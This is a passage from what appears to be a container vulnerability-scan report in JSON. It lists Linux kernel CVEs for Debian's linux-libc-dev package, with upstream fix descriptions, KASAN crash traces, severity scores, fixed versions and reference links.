"Title": "kernel: Linux kernel: i2c s3c24xx driver arbitrary code execution via SMBUS message size validation flaw", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: s3c24xx: check the size of the SMBUS message before using it\n\nThe first byte of an i2c SMBUS message is the size, and it should be\nverified to ensure that it is in the range of 0..I2C_SMBUS_BLOCK_MAX\nbefore processing it.\n\nThis is the same logic that was added in commit a6e04f05ce0b (\"i2c:\ntegra: check msg length in SMBUS block read\") to the i2c tegra driver.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31627", "https://git.kernel.org/linus/c0128c7157d639a931353ea344fb44aad6d6e17a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2d262da4bca6fab96e2e709feb95b31b0a9a03a7", "https://git.kernel.org/stable/c/377fae22a137b6b89f3f32399a58c52cf2325416", "https://git.kernel.org/stable/c/71b3c316b22c555d2769126a92b1244b15a9750d", "https://git.kernel.org/stable/c/8f756a5964396da0fc9e0db33253a5b85dbbcbb6", "https://git.kernel.org/stable/c/aaaaec39ddbcd06770dca7f1adebc3b1242ebe7b", "https://git.kernel.org/stable/c/c0128c7157d639a931353ea344fb44aad6d6e17a", "https://git.kernel.org/stable/c/d87d5620125a03b1eadbd5df39748215d3db7ddb", "https://git.kernel.org/stable/c/fa00738ab30b07db1a43b9c85fc56b8cc3b7d197", "https://git.kernel.org/stable/c/fd1650da24ed54c716aa9b69e9bbd8a662e492da", "https://lore.kernel.org/linux-cve-announce/2026042427-CVE-2026-31627-bd9b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31627", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31627" ], "PublishedDate": "2026-04-24T15:16:42.003Z", "LastModifiedDate": "2026-06-17T10:34:07.193Z" }, { "VulnerabilityID": "CVE-2026-31678", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31678", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c804c63b40e56af75f8d540da4d2b67f4166366d87f325998ba4253a867d223e", "Title": "kernel: openvswitch: defer tunnel netdev_put to RCU release", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nopenvswitch: defer tunnel netdev_put to RCU release\n\novs_netdev_tunnel_destroy() may run after NETDEV_UNREGISTER already\ndetached the device. Dropping the netdev reference in destroy can race\nwith concurrent readers that still observe vport-\u003edev.\n\nDo not release vport-\u003edev in ovs_netdev_tunnel_destroy(). Instead, let\nvport_netdev_free() drop the reference from the RCU callback, matching\nthe non-tunnel destroy path and avoiding additional synchronization\nunder RTNL.", "Severity": "HIGH", "CweIDs": [ "CWE-367", "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-31678", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/6931d21f87bc6d657f145798fad0bf077b82486c%20%287.0-rc6%29", "https://git.kernel.org/stable/c/42f0d3d81209654c08ffdde5a34b9b92d2645896", "https://git.kernel.org/stable/c/6931d21f87bc6d657f145798fad0bf077b82486c", "https://git.kernel.org/stable/c/98b726ab5e2a4811e27c28e4d041f75bba147eab", "https://git.kernel.org/stable/c/9d56aced21fb9c104e8a3f3be9b21fbafe448ffc", "https://git.kernel.org/stable/c/b8c56a3fc5d879c0928f207a756b0f067f06c6a8", "https://git.kernel.org/stable/c/bbe7bd722bfaea36aab3da6cc60fb4a05c644643", "https://git.kernel.org/stable/c/f0ec49d3a39c1f5a4f3270ea27ca0854fad2a2a2", "https://linux.oracle.com/cve/CVE-2026-31678.html", "https://linux.oracle.com/errata/ELSA-2026-86033.html", "https://lore.kernel.org/linux-cve-announce/2026042544-CVE-2026-31678-79f5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31678", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31678" ], "PublishedDate": "2026-04-25T09:16:01.437Z", "LastModifiedDate": "2026-10-30T13:18:42.44Z" }, { "VulnerabilityID": "CVE-2026-31686", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31686", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:71e9053fc02f4920828b99458f114dc3f69f144b301c160a2542f4929f115bab", "Title": "kernel: mm/kasan: fix double free for kasan pXds", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/kasan: fix double free for kasan pXds\n\nkasan_free_pxd() assumes the page table is always struct page aligned. \nBut that's not always the case for all architectures. E.g. In case of\npowerpc with 64K pagesize, PUD table (of size 4096) comes from slab cache\nnamed pgtable-2^9. Hence instead of page_to_virt(pxd_page()) let's just\ndirectly pass the start of the pxd table which is passed as the 1st\nargument.\n\nThis fixes the below double free kasan issue seen with PMEM:\n\nradix-mmu: Mapped 0x0000047d10000000-0x0000047f90000000 with 2.00 MiB pages\n==================================================================\nBUG: KASAN: double-free in kasan_remove_zero_shadow+0x9c4/0xa20\nFree of addr c0000003c38e0000 by task ndctl/2164\n\nCPU: 34 UID: 0 PID: 2164 Comm: ndctl Not tainted 6.19.0-rc1-00048-gea1013c15392 #157 VOLUNTARY\nHardware name: IBM,9080-HEX POWER10 (architected) 0x800200 0xf000006 of:IBM,FW1060.00 (NH1060_012) hv:phyp pSeries\nCall Trace:\n dump_stack_lvl+0x88/0xc4 (unreliable)\n print_report+0x214/0x63c\n kasan_report_invalid_free+0xe4/0x110\n check_slab_allocation+0x100/0x150\n kmem_cache_free+0x128/0x6e0\n kasan_remove_zero_shadow+0x9c4/0xa20\n memunmap_pages+0x2b8/0x5c0\n devm_action_release+0x54/0x70\n release_nodes+0xc8/0x1a0\n devres_release_all+0xe0/0x140\n device_unbind_cleanup+0x30/0x120\n device_release_driver_internal+0x3e4/0x450\n unbind_store+0xfc/0x110\n drv_attr_store+0x78/0xb0\n sysfs_kf_write+0x114/0x140\n kernfs_fop_write_iter+0x264/0x3f0\n vfs_write+0x3bc/0x7d0\n ksys_write+0xa4/0x190\n system_call_exception+0x190/0x480\n system_call_vectored_common+0x15c/0x2ec\n---- interrupt: 3000 at 0x7fff93b3d3f4\nNIP: 00007fff93b3d3f4 LR: 00007fff93b3d3f4 CTR: 0000000000000000\nREGS: c0000003f1b07e80 TRAP: 3000 Not tainted (6.19.0-rc1-00048-gea1013c15392)\nMSR: 800000000280f033 \u003cSF,VEC,VSX,EE,PR,FP,ME,IR,DR,RI,LE\u003e CR: 48888208 XER: 00000000\n\u003c...\u003e\nNIP [00007fff93b3d3f4] 0x7fff93b3d3f4\nLR [00007fff93b3d3f4] 0x7fff93b3d3f4\n---- interrupt: 3000\n\n The buggy address belongs to the object at c0000003c38e0000\n which belongs to the cache pgtable-2^9 of size 4096\n The buggy address is located 0 bytes inside of\n 4096-byte region [c0000003c38e0000, c0000003c38e1000)\n\n The buggy address belongs to the physical page:\n page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x3c38c\n head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0\n memcg:c0000003bfd63e01\n flags: 0x63ffff800000040(head|node=6|zone=0|lastcpupid=0x7ffff)\n page_type: f5(slab)\n raw: 063ffff800000040 c000000140058980 5deadbeef0000122 0000000000000000\n raw: 0000000000000000 0000000080200020 00000000f5000000 c0000003bfd63e01\n head: 063ffff800000040 c000000140058980 5deadbeef0000122 0000000000000000\n head: 0000000000000000 0000000080200020 00000000f5000000 c0000003bfd63e01\n head: 063ffff800000002 c00c000000f0e301 00000000ffffffff 00000000ffffffff\n head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004\n page dumped because: kasan: bad access detected\n\n[ 138.953636] [ T2164] Memory state around the buggy address:\n[ 138.953643] [ T2164] c0000003c38dff00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 138.953652] [ T2164] c0000003c38dff80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 138.953661] [ T2164] \u003ec0000003c38e0000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 138.953669] [ T2164] ^\n[ 138.953675] [ T2164] c0000003c38e0080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 138.953684] [ T2164] c0000003c38e0100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 138.953692] [ T2164] ==================================================================\n[ 138.953701] [ T2164] Disabling lock debugging due to kernel taint", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31686", "https://git.kernel.org/linus/51d8c78be0c27ddb91bc2c0263941d8b30a47d3b%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2277246ea265cdca64ce6fdea4b26cd6ff0ec4db", "https://git.kernel.org/stable/c/3298bdf5a878ded06351eb293856fa84e050029e", "https://git.kernel.org/stable/c/51d8c78be0c27ddb91bc2c0263941d8b30a47d3b", "https://git.kernel.org/stable/c/7d7b2d5c107a1f6302cf0006d859985e7c3ddd1c", "https://git.kernel.org/stable/c/85d98614e089a67dc6faa8ca766fe10a639f82b4", "https://git.kernel.org/stable/c/a05f77cb227c39c5069aea6f12762a29d1e6c103", "https://git.kernel.org/stable/c/b38237a2ea9c6c19836eee2c57037e1f9f103576", "https://git.kernel.org/stable/c/cec74b2ab7dff866b1d77eaa545b9e8fd14a1f87", "https://git.kernel.org/stable/c/f6204f7ff6aff62ce6242a76982c5ba3a9ded707", "https://lore.kernel.org/linux-cve-announce/2026042722-CVE-2026-31686-df69@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31686", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31686" ], "PublishedDate": "2026-04-27T18:16:53.987Z", "LastModifiedDate": "2026-11-06T16:18:07.867Z" }, { "VulnerabilityID": "CVE-2026-31695", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31695", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:de18e4e8365cd7774aa706792c241f9539e66a03094b7dc5c98022fd904c89e9", "Title": "kernel: wifi: virt_wifi: remove SET_NETDEV_DEV to avoid use-after-free", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: virt_wifi: remove SET_NETDEV_DEV to avoid use-after-free\n\nCurrently we execute `SET_NETDEV_DEV(dev, \u0026priv-\u003elowerdev-\u003edev)` for\nthe virt_wifi net devices. However, unregistering a virt_wifi device in\nnetdev_run_todo() can happen together with the device referenced by\nSET_NETDEV_DEV().\n\nIt can result in use-after-free during the ethtool operations performed\non a virt_wifi device that is currently being unregistered. Such a net\ndevice can have the `dev.parent` field pointing to the freed memory,\nbut ethnl_ops_begin() calls `pm_runtime_get_sync(dev-\u003edev.parent)`.\n\nLet's remove SET_NETDEV_DEV for virt_wifi to avoid bugs like this:\n\n ==================================================================\n BUG: KASAN: slab-use-after-free in __pm_runtime_resume+0xe2/0xf0\n Read of size 2 at addr ffff88810cfc46f8 by task pm/606\n\n Call Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x4d/0x70\n print_report+0x170/0x4f3\n ? __pfx__raw_spin_lock_irqsave+0x10/0x10\n kasan_report+0xda/0x110\n ? __pm_runtime_resume+0xe2/0xf0\n ? __pm_runtime_resume+0xe2/0xf0\n __pm_runtime_resume+0xe2/0xf0\n ethnl_ops_begin+0x49/0x270\n ethnl_set_features+0x23c/0xab0\n ? __pfx_ethnl_set_features+0x10/0x10\n ? kvm_sched_clock_read+0x11/0x20\n ? local_clock_noinstr+0xf/0xf0\n ? local_clock+0x10/0x30\n ? kasan_save_track+0x25/0x60\n ? __kasan_kmalloc+0x7f/0x90\n ? genl_family_rcv_msg_attrs_parse.isra.0+0x150/0x2c0\n genl_family_rcv_msg_doit+0x1e7/0x2c0\n ? __pfx_genl_family_rcv_msg_doit+0x10/0x10\n ? __pfx_cred_has_capability.isra.0+0x10/0x10\n ? stack_trace_save+0x8e/0xc0\n genl_rcv_msg+0x411/0x660\n ? __pfx_genl_rcv_msg+0x10/0x10\n ? __pfx_ethnl_set_features+0x10/0x10\n netlink_rcv_skb+0x121/0x380\n ? __pfx_genl_rcv_msg+0x10/0x10\n ? __pfx_netlink_rcv_skb+0x10/0x10\n ? __pfx_down_read+0x10/0x10\n genl_rcv+0x23/0x30\n netlink_unicast+0x60f/0x830\n ? __pfx_netlink_unicast+0x10/0x10\n ? __pfx___alloc_skb+0x10/0x10\n netlink_sendmsg+0x6ea/0xbc0\n ? __pfx_netlink_sendmsg+0x10/0x10\n ? __futex_queue+0x10b/0x1f0\n ____sys_sendmsg+0x7a2/0x950\n ? copy_msghdr_from_user+0x26b/0x430\n ? __pfx_____sys_sendmsg+0x10/0x10\n ? __pfx_copy_msghdr_from_user+0x10/0x10\n ___sys_sendmsg+0xf8/0x180\n ? __pfx____sys_sendmsg+0x10/0x10\n ? __pfx_futex_wait+0x10/0x10\n ? fdget+0x2e4/0x4a0\n __sys_sendmsg+0x11f/0x1c0\n ? __pfx___sys_sendmsg+0x10/0x10\n do_syscall_64+0xe2/0x570\n ? exc_page_fault+0x66/0xb0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n \u003c/TASK\u003e\n\nThis fix may be combined with another one in the ethtool subsystem:\nhttps://lore.kernel.org/all/20260322075917.254874-1-alex.popov@linux.com/T/#u", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31695", "https://git.kernel.org/linus/789b06f9f39cdc7e895bdab2c034e39c41c8f8d6%20%287.0-rc7%29", "https://git.kernel.org/stable/c/5adc01506da94dfaab76f3d1b8410a8ca7bfc59d", "https://git.kernel.org/stable/c/5bbadf60b121065ffb267ec92018607b9c1c7524", "https://git.kernel.org/stable/c/789b06f9f39cdc7e895bdab2c034e39c41c8f8d6", "https://git.kernel.org/stable/c/c5fa98842783ed227365d1303785de6a67020c8d", "https://git.kernel.org/stable/c/d1e3aa80e6e04410ba89eaaba4441a0d749d181d", "https://git.kernel.org/stable/c/dcb5915696bd7b32b6404a897c24ee47cb23e772", "https://git.kernel.org/stable/c/e90f3e74e1ebc26c461a74be490d322716bcdcb4", "https://lore.kernel.org/linux-cve-announce/2026050141-CVE-2026-31695-813b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31695", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31695" ], "PublishedDate": "2026-05-01T14:16:19.25Z", "LastModifiedDate": "2026-06-17T10:34:15.38Z" }, { "VulnerabilityID": "CVE-2026-31696", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31696", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0374f177906a26043a254f798f5b49e0836275ba9682482a66b5b66d00644f09", "Title": "kernel: rxrpc: Fix missing validation of ticket length in non-XDR key preparsing", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: Fix missing validation of ticket length in non-XDR key preparsing\n\nIn rxrpc_preparse(), there are two paths for parsing key payloads: the\nXDR path (for large payloads) and the non-XDR path (for payloads \u003c= 28\nbytes). While the XDR path (rxrpc_preparse_xdr_rxkad()) correctly\nvalidates the ticket length against AFSTOKEN_RK_TIX_MAX, the non-XDR\npath fails to do so.\n\nThis allows an unprivileged user to provide a very large ticket length.\nWhen this key is later read via rxrpc_read(), the total\ntoken size (toksize) calculation results in a value that exceeds\nAFSTOKEN_LENGTH_MAX, triggering a WARN_ON().\n\n[ 2001.302904] WARNING: CPU: 2 PID: 2108 at net/rxrpc/key.c:778 rxrpc_read+0x109/0x5c0 [rxrpc]\n\nFix this by adding a check in the non-XDR parsing path of rxrpc_preparse()\nto ensure the ticket length does not exceed AFSTOKEN_RK_TIX_MAX,\nbringing it into parity with the XDR parsing logic.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31696", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/ac33733b10b484d666f97688561670afd5861383%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1fa36cf495b0023e8475d038535c05e4063211e1", "https://git.kernel.org/stable/c/41a117dd80371343babc52198d1114e83eb37627", "https://git.kernel.org/stable/c/4458757c020592a3094366e0fb20457383b42f92", "https://git.kernel.org/stable/c/44714dfda386884919ba366411880b6fb3c3efd3", "https://git.kernel.org/stable/c/9a397aa9b5e53ca63d4d6aefb542832eca389618", "https://git.kernel.org/stable/c/a1be1c9ece26cea69654f28b255ff9a7906b897b", "https://git.kernel.org/stable/c/ac33733b10b484d666f97688561670afd5861383", "https://git.kernel.org/stable/c/ce383ba615339f8eaec646a166d2c2b015bb5ca0", "https://linux.oracle.com/cve/CVE-2026-31696.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050118-CVE-2026-31696-d2de@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31696", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", 